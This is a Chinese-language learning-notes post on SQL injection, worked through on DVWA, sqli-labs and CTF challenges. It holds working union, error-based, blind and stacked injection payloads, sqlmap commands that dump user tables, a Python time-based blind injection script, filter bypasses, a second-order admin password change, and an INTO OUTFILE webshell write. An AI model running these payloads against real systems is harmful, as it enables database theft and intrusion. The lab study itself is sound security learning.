赞
踩
SQL注入:是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串中注入SQL指令,在设计的不良程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破化或入侵。
代码层面的话,好像是这样的
放一张看起来以后有用的图
今天大致理解了这个图,我们需要知道如何将这个语句通过浏览器传给后端,首先要知道参数是如何被包装的,首先判断是数字型注入还是字符型注入,其次是猜语句找寻闭合方式,而猜语句利用的方式是:通过向浏览器中输入一些无法识别的参数,如 ' ) "等。利用的原理是:如果该符号是包装方式,那么该符号作为参数时系统会返回语句错误信息。
(SQL:Structured Query Language 结构化查询语言)是一种用于操控数据库的语言。
正常流程:
“取出数据”这个操作开发人员就要用到SQL语句
从电影信息数据库中查询电影名称为长津湖的票房数据
若用户输入的数据为 长津湖’order by 1 #
那么这时SQL语句发生变化,不仅查询了长津湖票房,还执行了 order by 1
1.判断列/字段数 order by [column_num]
在mysql中,order by字句只在limit字句前面,余下都是在其他字句后面
所以,如果结尾注释符被过滤了,就不要用order by了,直接union联合查询来尝试
2.联合查询其他信息 union select [sql1] [sql2]
用户输入SQL语句,执行了MySQL内置函数user()和database()
user():返回当前数据库连接用户
database():返回当前数据库名称
3.联合查询表 union select table_name,table_schema from information_schema.tables where table_schema= '[database_name]'
(在下文的union联合注入详细提及)
1.检测漏洞
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low"
-u:url地址,即需要检测的网址
--cookie:因为DVWA需要登录,可在浏览器控制台里查看请求消息头中获取cookie
2.获取数据库名
-dbs:database server 获取所有数据库名
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" --dbs
3.获取指定数据库表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa --tables
-D:Database 指定想要获取的数据库名为dvwa
--tables:列出数据库名
4.获取指定数据库列/表项
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa -T users --columns
-D:Database 指定想要获取的数据库名为dvwa
-T:Table指定想要获取的表名为users
--column:列出表项/列
5.获取数据
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa -T users --dump
--dump:读取数据
-1 union select 1,flag from sqli.flag--+ 也可
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入
漏洞防范
防御命令执行最高效的方法,就是过滤用户输入内容,不让输入SQL语句
将特殊符号替换成空,或者判断用户输入SQL语句就终止执行
SCHEMATA表:提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名。show databse的结果取自此表。
TABLES表:提供了关于数据库中表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表。
COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有字段信息。show columns from schemaname.tablename的结果取自此表。
mysql数据库5.0以上版本有自带数据库information_schema,该数据库下面有两个表tables和columns
tables这个表的table_name字段下是所有数据库存在的表名,table_schema字段下是所有表名对应的数据库名。
columns这个表的column_name字段下是所有数据库存在的字段名,column_schema字段下是所有表名对应的数据库名。
一些常用函数:mysql数据库常用函数(渗透测试专用)_Thunder_sec的博客-CSDN博客
查看数据库表
-1' union select 1,select schema_name from information_schema.schemata limit 0,1# -1' union select 1,select table_name from information_schema.tables where table_schema limit 0,1='数据库名'# -1' union select 1,select group_concat(table_name) from information_schema.tables where table_schema ='数据库名'#
一般不止一个,用group_concat可以一次性全部显示出来,更加快捷
这里使用-1使之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句。
获取列名
-1' union select 1,column_name from information_schema.columns where table_name='表名' and table_schema ='数据库名'#
我们便有了这个表里的列,通过我们的常识知道一个用户的用户名和密码是表中的关键信息即user和password
查看账号密码信息
-1' union select user,password from users#
关于#
因为之前在dvwa好像都是用#注释的,但最近在sqli-labs注入get请求时发现有时候不能使用#注释,但是用%23却可以,不是前端代码的过滤,那就是后台的限制,查了一下大致是这样的:据他人实验结果,从浏览器输入的#并没有发到数据库中,#在URL中有特殊作用,并且现在在http请求中不允许出现#
以后注释可以使用%23或--+或-- -代替
报错注入就是利用数据库的某些机制,人为地制造错误条件,想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库的内容,即实现了SQL注入。
XPath是一门XML和HTML文档中查找信息的语言,可用来在XML和HTML文档中对元素和属性进行遍历
XPath语法:
extractvalue(XML_document, XPath_string )
接受两个参数,arg1:XML文档,arg2:XPATH语句
条件:mysql5.1及以上版本
标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error.’~root@localhost~’
报错原理: xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax error:‘xxxxxxxx’
updatexml(XML_document, XPath_string, new_value )
arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
条件:mysql5.1.5及以上版本
标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error:’~root@localhost~’
报错原理同上,updatexml() 函数实际上是去更新了 XML 文档,但是我们在 xml 文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。
floor(x):对参数x向下取整
rand():生成一个0~1之间的随机浮点数
count(*):统计某个表下总共有多少条记录
group by x:按照(by)一定的规则(x)进行分组
报错原理: group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错
?id=-1' and (select 1 from (select count(*),.concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //爆当前数据库的库名,获知当前的数据库名称为security ?id=-1' and (select 1 from (select count(*),concat((select table_name frominformation_schema.tables where table_schema='security' limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users ?id=-1' and (select 1 from (select count(*),concat((select column_name frominformation_schema.columns where table_schema='security' and table_name='users' limit N,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+ //爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段? id=-1' and (select 1 from (select count(*),concat((select concat_ws( ',',id,username,password) from security.users limit N,1),floor(rand(0)*2)>x from information_schema.tables group by x)a)--+ //通过调整参数N,爆users表中id,username,password三个字段的值
处理起来用sqlmap更为方便
substr()、substring()、mid()
说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。
举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)
length()
说明:获取字符串长度
使用方法:length(arg1),arg1代表字符串
举例:数据库名字为:users
执行命令:select length(database()); 结果:5(数据库长度为5)
ascii() 、ord()
说明:将单一字符,转化为ascii码值
使用方式:ascii(str),str代表字符
举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)
left()
说明:返回具有指定长度的字符串的左边部分。
使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
举例:执行命令:数据库名为 users select left(database(),3) 结果为:use
regexp()
说明:利用正则表达式查询匹配
使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;
若完全没有结果回显,可以尝试利用sleep()或benchmark()等函数让MySQL的执行时间变长。
if(expr1,expr2,expr3)
使用方法:如果expre1为真,则if()的返回值为expr2,否则为expr3
举例:if(length(database())>1,sleep(5),1)
通过观察burpsuit中右下角页面的响应时间来判断
自己编写的时间盲注脚本爆库名
import time import requests def lent(): length = 0 url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=" for i in range(1, 20): payload = f"1' and if(length(database())={i},sleep(3),1)--+" start_time = time.time() requests.get(url+payload) end_time = time.time() t = end_time - start_time if t >= 3: length = i break print(f"数据库的名称长度为{length}") return length def database_name(length): url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=" word = "abcdefghijklmnopqrstuvwxyz1234567890_-{}, " name = '' for i in range(1, length + 1): for j in word: payload = f"1' and if(substr(database(),{i},1)=\'{j}\',sleep(3),1)--+" start_time = time.time() requests.get(url+payload) end_time = time.time() t = end_time - start_time if t >= 3: name += j print({name}) break database_length = lent() database_name(database_length)
条件:1.目标未对“;”过滤
2.服务器访问数据端使用的是可同时执行多条sql语句的方法,如mysqli_multi_query()函数
举例:';select if(substr(user(),1,1)='r',sleep(3),1)%23
在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞
$stmt = $conn->query("SELECT * FROM users where 'id' = ' " . $_GET['id'] . " ' "
预处理语句具有两个主要的优点:
1 查询只需要被解析(或准备)一次,但可以使用相同或不同的参数执行多次。当查询准备好(Prepared)之后,数据库就会分析,编译并优化它要执行查询的计划。
对于复杂查询来说,如果你要重复执行许多次有不同参数的但结构相同的查询,这个过程会占用大量的时间,使得你的应用变慢。
通过使用一个预处理语句你就可以避免重复分析、编译、优化的环节。简单来说,预处理语句使用更少的资源,执行速度也就更快。
2 传给预处理语句的参数不需要使用引号,底层驱动会为你处理这个。
如果你的应用独占地使用预处理语句,你就可以确信没有SQL注入会发生。
所以呢,按照我的理解,堆叠注入已经有防御意识,使用了PDO方式,只不过因为直接拼接的原因未达到预期的预编译效果,还有可趁之机。使用PDO执行SQL语句时,可以执行多条语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入。
python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --tables python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli -T tdoplahmiu --dump
利用burpsuit,实现User-Agent注入
获取数据库信息的方法同前
方法同上
在请求头补入Referer:id=1 ...
1.遇到情况:传入id=1'时,传入的单引号被转义符转义,导致参数id无法逃逸单引号的包围
$id = addslashes($_GET['id']);
转义字符:用来说明反斜杠后面的字符不是字符本身的含义,而是用来表示其他的含义。
2.条件:数据库的编码为GBK
3.原理:宽字节的格式是在地址后加上%df,再加上单引号,因为反斜杠的编码为%5c,在GBK编码中%df%5c是繁体字,这时单引号成功逃逸,MySQL数据库报错
由于单引号的原因,在联合查询时会使用嵌套查询
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
下面是引用他人的博客的一小段
宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。
例如说PHP的编码为 UTF-8 而 MySql的编码设置为了
SET NAMES 'gbk' 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
————————————————
原文链接:对宽字节的深入了解_红烧兔纸的博客-CSDN博客_宽字节
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
二者缺一不可
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
二次注入需要根据源代码判断其是否存在,一般是在一次时sql语句被转义处理,但存入数据库时是原始数据,所以在二次时如果sql语句中数据被直接调用就会存在注入问题。
为什么存入数据库时是原始数据?是因为mysql在插入数据库的时候会自动去除反斜杠'\'。
实例见下sqli-labs less-24
eg:select flag from sqli.fl4g
—> select/**/flag/**/from/**/sqli.fl4g
以上是碰到的,以后遇到再补充,下面附上他人整理的
SQL注入漏洞(绕过篇)_errorr0的博客-CSDN博客_sql注入url编码绕过
这个or 取的是并集,and取的是交集
过滤绕过
1.大小写变形Or,OR,oR
2.编码
3.添加注释/*or*/
4.利用符号替换 and替换为&&,or替换为||
5.双写绕过
部分源代码
if($row1)//登录成功 { //将用户的uagent,ip,uname插入到一张表中 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //进行插入数据 echo 'Your User Agent is: ' .$uagent; print_r(mysql_error()); //输出详细错误 }
如果输入正确,会将UA展示
这里好像更理解了SQL注入的有头有尾,闭合一致
第一种:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
(`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"
User-Agent:1' and extractvalue(1,concat(0x7e,database(),0x7e))+'
第二种:
(`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"
User-Agent:1',2,3 and extractvalue(1,concat(0x7e,database(),0x7e)))#
注册用户时
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); echo "<font size='3' color='#FFFF00'>"; $sql = "select count(*) from users where username='$username'";
登录时
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
由于mysql在插入数据库时会自动去除反斜杠,所以数据库中的是原始数据
更改密码时
$sql = "UPDATE users SET PASSWORD='$pass' where username='$usernmame' and password='$curr_pass' ";
更改密码时直接调用,故存在二次注入漏洞
注册登录了username=admin'#
更改密码时拼接成
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#
完成越权修改密码
宽字节注入中get请求和post请求的区别
get型在遇到%df时会直接知道它是url编码后的会直接提交,而post型则会把它当做普通的数据,再进行一次url编码,如下:
输入:1%df' union select 1,database()#
请求包里显示的却是这个
%25是%的url编码,所以在bp中还原一下再发包即可
其实这个区别我们之前就有遇到,(上文的关于#),#在get请求中不要用,但在post请求中可以就是因为post型会对它再进行一次url编码
show
当select被过滤时可以考虑一下show
爆库名 show databases
爆表名 show tables
爆列名 show columns from word
show columns from `1919810931114514`
如上,当表名为数字时需要用反引号包装
发现flag字段,show无法读取数据,思考处理方式
mysql语句中的handler命令
利用handler语句读取表中的数据
1.打开表:
handler `1919810931114514`
open
2.读取表中的数据:
handler `1919810931114514`
read next
(这道题csdn上找到了两种解法,个人认为上面这种方法思路更加的直接,只是handler命令更加的小众。在了解上面这种解法后借助了handler命令,我理解了第二种解法)
明白回显的内容,使flag处于回显位
输入1和2的回显
这里显示了字段的数据,而我们要找的就是flag字段的数据,思考如果可以把flag放在回显位就可以读取到数据了!
这里显示的是什么呢?在words表下发现了这些
1';show columns from words;#
这里的id和data引人怀疑,会猜测默认查询的是id,数据为data
为此,应用刚才学到的handler命令检验了一下
1';handler words open;handler words read next;#
1';handler words open;handler words read next limit 1,1;#
与最初的一致,猜测无误,显示的是word表下对应id的data字段的数据
于是有了以下操作:
1、通过 rename 先把 words 表改名为其他的表名
rename table words to word1;
2、把 1919810931114514 表的名字改为 words
rename table `1919810931114514` to words;
3、给新 words 表添加新的列名 id
alert table words add id int unsigned not Null auto_increment primary key ;
4、将 flag 改名为 data
alert table words change flag data varchar(100);
涉及到的语句点补充
添加一个列 alter table " table_name" add " column_name" type; 删除一个列 alter table " table_name" drop " column_name" type; 改变列的数据类型 alter table " table_name" alter column " column_name" type; 改列名 alter table " table_name" change " column1" " column2" type; alter table "table_name" rename "column1" to "column2"; SQL约束 not null- 指示某列不能存储 NULL 值。 auto_increment-自动赋值,默认从1开始。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键 varchar(100) 数据库版本4.0以下,指的是100字节,5.0以上,指的是100字符
库名和列名同上一题堆叠注入可得,但在爆列名时返回nonono估计是被过滤了
然后思考输入任何一个非0的数字时结果返回1,因而猜测含有逻辑运算符or
自己理解后再根据大佬博客知道查询语句为
select ".$post['query']."||flag from Flag
flag自身有值,因而输入任何一个非0的数字时结果返回1
所以如果填*,1(或任意的非0的数字)
相当于执行了
select * from Flag 和 select 1 from Flag
*未被过滤,*指选取表中的所有数据,所以得到flag
这里也让我想到了之前在sqli-labs靶场上报错注入遇到的东西,这里先记着吧为啥用and和or还要再想想。
id=1' and extractvalue(1,concat(0x7e,database(),0x7e)--+ id=1' or extractvalue(1,concat(0x7e,database(),0x7e) or '
高权限用户,管理员权限,实现跨库注入(root还是非root由源代码中的连接用户所决定)
应用:A网站没找到注入点无法攻击,通过查询手段发现还有B网站,他们在同一服务器用了同一数据库,B网站存在注入点,也是root型,可以尝试通过B网站的注入点得到A网站的数据。
load_file():读取函数
?id=-1 union select 1,load_file('d:/www.txt'),3--+
into outfile 或 into dumpfile:导出函数
?id=-1 union select 1,'x(后门代码)',3 into outfile 'D:/xx.php--+
常见写入文件问题:魔术引号开关(好像是跟addslash()差不多的作用)
今天看大佬分享的题,学了个新姿势,记录一下
源码检测
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
需要username ='admin' and password ='".md5($password,true)."'条件为真时,才会执行select * from user
这就要说到咱这个ffifiyop了
在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的(我觉得应该是闭合问题),比如password='' or '1xxxx',那么就相当于password='' or 1,所以返回值就是true
所以这里是这样的
password=''or 6
之前说到过或运算存在任何一个非0的数字时结果返回true
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。